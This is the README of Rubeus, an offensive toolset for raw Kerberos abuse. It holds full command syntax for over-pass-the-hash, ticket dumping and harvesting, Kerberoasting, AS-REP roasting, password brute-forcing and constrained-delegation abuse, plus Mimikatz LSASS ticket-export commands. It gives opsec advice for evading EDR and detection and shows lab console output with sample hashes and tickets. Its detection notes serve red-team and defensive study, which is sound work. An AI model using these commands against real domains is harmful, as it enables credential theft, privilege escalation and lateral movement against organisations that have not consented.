Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project (CC BY-NC-SA 4.0 license) and Vincent LE TOUX's MakeMeEnterpriseAdmin project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
Charlie Clark and Ceri Coburn have both made significant contributions to the Rubeus codebase. Elad Shamir contributed some essential work for resource-based constrained delegation. Their work is very appreciated!
Rubeus also uses a C# ASN.1 parsing/encoding library from Thomas Pornin named DDer that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
PKINIT code heavily adapted from @SteveSyfuhs's Bruce tool. Bruce made RFC4556 (PKINIT) a lot easier to understand. Huge thanks to Steve!
The KerberosRequestorSecurityToken.GetRequest method for Kerberoasting was contributed to PowerView (and then incorporated into Rubeus) by @machosec.
@harmj0y is the primary author of this code base.
Rubeus is licensed under the BSD 3-Clause license.
- Rubeus
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(_____ \ | |
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| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
Ticket requests and renewals:
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Constrained delegation abuse:
Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
Perform S4U constrained delegation abuse across domains:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
Ticket management:
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]
Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
Ticket extraction and harvesting:
Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
Rubeus.exe tgtdeleg [/target:SPN]
Monitor every /interval SECONDS (default 60) for new TGTs:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roasting:
Perform Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]
Perform Kerberoasting, outputting hashes to a file:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
Perform Kerberoasting, outputting hashes in the file output format, but to the console:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]
Perform Kerberoasting with an existing TGT:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Perform Kerberoasting with an existing TGT using an enterprise principal:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/nowrap]
Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
Rubeus.exe kerberoast /usetgtdeleg [/nowrap]
Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
Rubeus.exe kerberoast /rc4opsec [/nowrap]
List statistics about found Kerberoastable accounts without actually sending ticket requests:
Rubeus.exe kerberoast /stats [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/nowrap]
Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/nowrap]
Perform AES Kerberoasting:
Rubeus.exe kerberoast /aes [/nowrap]
Perform AS-REP "roasting" for any users without preauth:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]
Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
Perform AS-REP "roasting" for any users without preauth using alternate credentials:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/nowrap]
Miscellaneous:
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]
Reset a user's password from a supplied TGT (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]
Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
Substitute an sname or SPN into an existing service ticket:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap]
Display the current user's LUID:
Rubeus.exe currentluid
The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.
The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.
NOTE: Base64 ticket blobs can be decoded with :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
This section covers some notes on the operational security of using Rubeus in an environment, with some technical examples comparing/contrasting some of its approaches to Mimikatz. The material here will be expanded in the future.
Any action you perform on a system is a detectable risk, especially when abusing functionality in "weird"/unintended ways. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives. I have a workmate who is fond of stating "everything is stealthy until someone is looking for it" - tools and techniques generally evade detection because either a) people are not sufficiently aware of the tool/technique and therefore not even looking, b) people can not collect and process the data needed at the appropriate scale, or c) the tool/technique blends with existing behavior to sufficiently sneak in with false positives in an environment. There is much more information on these steps and detection subversion in general in Matt Graeber and Lee Christensen’s Black Hat USA 2018 “Subverting Sysmon” talk and associated whitepaper.
From the host perspective, Rubeus can be caught during initial weaponization of the code itself, by an abnormal (non-lsass.exe) process issuing raw Kerberos port 88 traffic, through the use of sensitive APIs like LsaCallAuthenticationPackage(), or by abnormal tickets being present on the host (e.g. rc4_hmac use in tickets in a modern environment).
From a network or domain controller log perspective, since Rubeus implements many parts of the normal Kerberos protocol, the main detection method involves the use of rc4_hmac in Kerberos exchanges. Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges (with a few exceptions like inter-realm trust tickets). Using a rc4_hmac (NTLM) hash is used in a Kerberos exchange instead of a aes256_cts_hmac_sha1 (or aes128) key results in some signal that is detectable at the host level, network level (if Kerberos traffic is parsed), and domain controller event log level, sometimes known as "encryption downgrade".
One common way attack tools are detected is through the weaponization vector for the code. If Rubeus is run through PowerShell (this includes Empire) the standard PowerShell V5 protections all apply (deep script block logging, AMSI, etc.). If Rubeus is executed as a binary on disk, standard AV signature detection comes into play (part of why we do not release compiled versions of Rubeus, as brittle signatures are silly ; ). If Rubeus is used as a library then it's susceptible to whatever method the primary tool uses to get running. And if Rubeus is run through unmanaged assembly execution (like Cobalt Strike's execute_assembly) cross-process code injection is performed and the CLR is loaded into a potentially non-.NET process, though this signal is present for the execution of any .NET code using this method.
Also, AMSI (the Antimalware Scan Interface) has been added to .NET 4.8. Ryan Cobb has additional details on the offensive implications of this in the Defense section of his “Entering a Covenant: .NET Command and Control” post.
Say we have elevated access on a machine and want to extract user credentials for reuse.
Mimikatz is the swiss army knife of credential extraction, with multiple options. The sekurlsa::logonpasswords command will open up a read handle to LSASS, enumerate logon sessions present on the system, walk the default authentication packages for each logon session, and extract any reverseable password/credential material present. Sidenote: the sekurlsa::ekeys command will enumerate ALL key types present for the Kerberos package.
Rubeus doesn't have any code to touch LSASS (and none is intended), so its functionality is limited to extracting Kerberos tickets through use of the LsaCallAuthenticationPackage() API. From a non-elevated standpoint, the session keys for TGTs are not returned (by default) so only service tickets extracted will be usable (the tgtdeleg command uses a Kekeo trick to get a usable TGT for the current user). If in a high-integrity context, a GetSystem equivalent utilizing token duplication is run to elevate to SYSTEM, and a fake logon application is registered with the LsaRegisterLogonProcess() API call. This allows for privileged enumeration and extraction of all tickets currently registered with LSA on the system, resulting in base64 encoded .kirbi's being output for later reuse.
Mimikatz can perform the same base64 .kirbi extraction with the following series of commands:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz can also carve tickets directly out of LSASS' memory with:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
As "everything is stealthy until someone is looking for it", it's arguable whether LSASS manipulation or ticket extraction via the LsaCallAuthenticationPackage() API call is more "stealthy". Due to Mimikatz' popularity, opening up a handle to LSASS and reading/writing its memory has become a big target for EDR detection and/or prevention. However, LsaCallAuthenticationPackage() is used by a fairly limited set of processes, and creating a fake logon application with LsaRegisterLogonProcess() is also fairly anomalous behavior. However full API level introspection and baselining appears to be a more difficult technical problem than LSASS protection.
Say we recover a user's rc4_hmac hash (NTLM) and want to reuse this credential to compromise an additional machine where the user account has privileged access.
Sidenote: pass-the-hash != over-pass-the-hash. The traditional pass-the-hash technique involves reusing a hash through the NTLMv1/NTLMv2 protocol, which doesn't touch Kerberos at all. The over-pass-the-hash approach was developed by Benjamin Delpy and Skip Duckwall (see their "Abusing Microsoft Kerberos - Sorry you guys don't get it" presentation for more information). This approach turns a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user into a fully-fledged ticket-granting-ticket (TGT).
Let's compare "over-passing-the-hash" via Mimikatz' sekurlsa::pth command verus using the asktgt command from Rubeus (or Kekeo if you'd like).
When sekurlsa::pth is used to over-pass-the-hash, Mimikatz first creates a new logon type 9 process with dummy credentials - this creates a new "sacrificial" logon session that doesn't interact with the current logon session. It then opens the LSASS process with the ability to write to process memory, and the supplied hash/key is then patched into the appropriate section for the associated logon session (in this case, the "sacrificial" logon session that was started). This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT.
When Rubeus' asktgt command is run (or Kekeo's equivalent), the raw Kerberos protocol is used to request a TGT, which is then applied to the current logon session if the /ptt flag is passed.
With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with /ptt), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the /createnetonly command to create a sacrificial process/logon session, then using /ptt /ticket:X /luid:0xa.. with the newly created process LUID. If using Cobalt Strike, using the make_token command with dummy credentials and then kerberos_ticket_use with the ticket retrieved by Rubeus will let you apply the new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT.
It is our opinion that the LSASS manipulation approach is more likely (at the current moment) to be detected or mitigated due to the popularity of the technique. However the Rubeus approach does result in another piece of detectable behavior. Kerberos traffic to port 88 should normally only originate from lsass.exe - sending raw traffic of this type from an abnormal process could be detectable if the information can be gathered.
Sidenote: one way both approaches can potentially be caught is the previously mentioned "encryption downgrade" detection. To retrieve AES keys, use Mimikatz' sekurlsa::ekeys module to return ALL Kerberos encryption keys (same with lsadump::dcsync) which are better to use when trying to evade some detections.
Breakdown of the ticket request commands:
| Command | Description |
|---|---|
| asktgt | Request a ticket-granting-ticket (TGT) from a hash/key or password |
| asktgs | Request a service ticket from a passed TGT |
| renew | Renew (or autorenew) a TGT or service ticket |
| brute | Perform a Kerberos-based password bruteforcing attack |
The asktgt action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4, /aes128, /aes256, or /des). A /password flag can also be used instead of a hash - in this case /enctype:X will default to RC4 for the exchange, with des|aes128|aes256 as options. If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:0xA.. flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.
Note that no elevated privileges are needed on the host to request TGTs or apply them to the current logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the /createnetonly:C:\X.exe parameter (which hides the process by default unless the /show flag is specified), or request the ticket and apply it to another logon session with ptt /luid:0xA...
By default, several differences exists between AS-REQ's generated by Rubeus and genuine AS-REQ's. To form AS-REQ's more inline with genuine requests, the /opsec flag can be used, this will send an initial AS-REQ without pre-authentication first, if this succeeds, the resulting AS-REP is decrypted and TGT return, otherwise an AS-REQ with pre-authentication is then sent. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than aes256 and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the /opsec changes, the /force flag exists.
Requesting a ticket via RC4 hash for [email protected], applying it to the current logon session:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
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yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
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lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
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l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
Requesting a ticket via aes256_hmac hash for [email protected], starting a new hidden process and applying the ticket to that logon session. Note: elevation needed!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
Note that the /luid and /createnetonly parameters require elevation!
The asktgs action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The /ptt flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more /service:X SPNs must be specified, comma separated.
The supported encryption types in the constructed TGS-REQ will be RC4_HMAC, AES128_CTS_HMAC_SHA1, and AES256_CTS_HMAC_SHA1. In this case, the highest mutually supported encryption will be used by the KDC to build the returned service ticket. If you want to force DES, RC4, or AES128/256 keys, use /enctype:[RC4|AES128|AES256|DES].
In order to request a service ticket for an account using an enterprise principal (i.e. [email protected]), the /enterprise flag can be used.
By default, several differences exists between TGS-REQ's generated by Rubeus and genuine TGS-REQ's. To form TGS-REQ's more inline with genuine requests, the /opsec flag can be used, this will also cause an additional TGS-REQ to be sent automatically when a service ticket is requested for an account configured for unconstrained delegation. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than aes256 and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the /opsec changes, the /force flag exists.
To play with other scenarios manually, /tgs:X can be used to supply an additional ticket which is appended to the request body. This also adds the constrained delegation KDC option as well as avoids dynamically determining the domain from the given SPN /service:X, for this reason the /usesvcdomain flag has been implemented to force the request to use the domain from the given SPN /service:X which is useful for requesting delegated service tickets from a foreign domain.
Requesting a TGT for dfm.a and then using that ticket to request a service ticket for the "LDAP/primary.testlab.local" and "cifs/primary.testlab.local" SPNs:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Requesting a service ticket for an AES-enabled service account, specifying that we only support RC4_HMAC:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
